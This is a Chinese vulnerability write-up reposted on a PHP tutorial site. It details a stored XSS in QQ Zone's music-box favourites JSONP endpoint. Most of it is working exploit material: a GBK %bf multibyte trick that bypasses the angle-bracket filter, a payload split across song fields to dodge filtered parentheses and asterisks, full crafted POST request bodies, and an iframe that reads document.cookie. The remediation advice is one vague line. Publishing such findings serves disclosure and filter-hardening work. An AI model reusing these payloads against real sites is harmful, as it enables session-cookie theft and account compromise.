网站地图    收藏   

主页 > 后端 > 网站安全 >

QQ空间音乐和一存储型XSS - 有过滤?我绕绕绕!

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 过滤了,? 我绕!过滤了() ? 我绕!想用/**/注释下,竟然连*都过滤了... 我绕绕绕!有问题的地址是:http://qzone-music.qq.com/fcg-bin/fcg_music_fav_getinfo.fcg?dirinfo=1dirid=201uin=QQ号码p=0.......

过滤了<,>? 我绕!
过滤了() ? 我绕!
想用/**/注释下,竟然连*都过滤了... 我绕绕绕!

有问题的地址是:http://qzone-music.qq.com/fcg-bin/fcg_music_fav_getinfo.fcg?dirinfo=1&dirid=201&uin=QQ号码&p=0.887586027616635&inCharset=GB2312&outCharset=utf-32&hostUin=&notice=0&needNewCode=0&format=jsonp&platform=musicbox&jsonpCallback=jsonCallback
 
 
 
这个地址会输出QQ号码在QQ空间音乐盒中【我喜欢】这个专辑中的音乐内容,包括歌手,歌曲名,歌曲地址等信息。
 
 
 
正常情况下,歌手名字,歌曲名,歌曲地址里的< , >都会被过滤掉,即过滤成为 &lt; &gt;
 
 
 
在这一步,我们对应的绕过方法是:
 
 
 
%bf<script/%bf>
 
 
 
原理是:服务器上会过滤数据中的特殊符号,但是当读取到%bf时,会认为%bf<是一个GBK字符,从而当作一个字符来看待。 即过滤程序会把上面的内容看作是:
 
 
 
[GBK字符]script/[GBK字符]
 
 
 
然后当上面内容输出到页面的时候,内容则会变为
 
 
 
口<script/口> (其中“口”为不被识别的字符)
 
 
 
从而,我们插入了一个<script>
 
 
 
---------------------------------------------------------------
 
 
 
通过以上方法,我们可以写出以下代码
 
 
 
 
%bf<script/%bf>alert(1);%bf</script/%bf>
 
 
 
不幸的是,在歌曲标题内插入这段内容后,发现(, ) 都被转义成为 &#xxxx; 的形式了。
 
 
 
alert没法执行了,而且,括号都用不了,代码就执行不了了。
 
 
 
---------------------------------------------------------------
 
 
 
然而,我们是可以控制多个输出点的。 如下,songname, singername, url
 
 
 
 
 
 
songname:"控制点1",singerid:0,singername:"控制点2",url:"控制点3"
 
 
 
也就是说,我们可以采用注释的办法来进入后面的点,如下:
 
 
 
 
songname:"aaaaaaa",singerid:0,singername:"口<script/口>/*",url:"*/;alert(1)//"
 
 
 
但是这个点中,*都被过滤成 &#xxxx 了。继续测试发现,不仅是括号,星号,连=, + ,%,基本只要是符号,都过滤的差不多了。还好,[,], / 没被过滤。 加上我们意外的惊喜发现,url和songname,singername的过滤规则不同,并没有过滤如此多的符号。所以:
 
 
 
 
songname:"aaaaaaa",singerid:0,singername:"口<script/口>[",url:"];alert(1)/*"
 
 
 
---------------------------------------------------------------
 
 
 
上面这首歌,完成了 <script>[",url:"];alert(1)/* ....
 
 
 
再编辑下一首歌,修改songname,加入</script>以闭合脚本标签。
 
 
 
 
songname:"口*///口</script/口>",singerid:0,......
 
 
 
最后就成功构造了。具体利用过程写在了漏洞证明里。 
漏洞证明:进QQ空间音乐盒中的【我喜欢】目录中,
 
 
 
1. 先修改第一首歌,抓包,修改包
 
 
 
URL:http://qzone-music.qq.com/cgi-bin/v5/cgi_music_modsong_new?g_tk=1232408522
 
 
 
发第一个包, 修改了包里的url和singer参数
 
 
 
 
formsender=1&out=2&from=1&source=103&uin=8639560&songid=4283798478&type=1&urlchanged=1&moodchanged=0&url=];alert(1);/*http%3A%2F%2Fwww.baidu.com%2F1.wma&songtitle=aaa&singer=%bf<script/%bf>[&dirid=201&desc=&inCharset=GB2312&hostUin=8639560&notice=0&needNewCode=0&g_tk=1232408522&format=fs&platform=musicbox&outCharset=gb2312
2. 再修改第二首歌,抓包,修改包, 地址同1,修改了songtitle参数
 
 
 
 
formsender=1&out=2&from=1&source=103&uin=8639560&songid=2329826814&type=1&urlchanged=0&moodchanged=0&url=http%3A%2F%2Fwww.baidu.com%2F1.mp3&songtitle=%bf*///%bf</script/%bf>&singer=%CE%D2%C3%C7%B5%C4%B0%AE&dirid=201&desc=&inCharset=GB2312&hostUin=8639560&notice=0&needNewCode=0&g_tk=1232408522&format=fs&platform=musicbox&outCharset=gb2312
3. 最后效果如下:
4. 然后利用iframe来利用即可。
 
 
 
 
<iframe name="alert(document.cookie)" src="http://qzone-music.qq.com/fcg-bin/fcg_music_fav_getinfo.fcg?dirinfo=1&dirid=201&uin=QQ号码&format=jsonp&platform=musicbox&jsonpCallback=jsonCallback">
 

 
修复方案:

换个函数或者方法过滤符号。
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论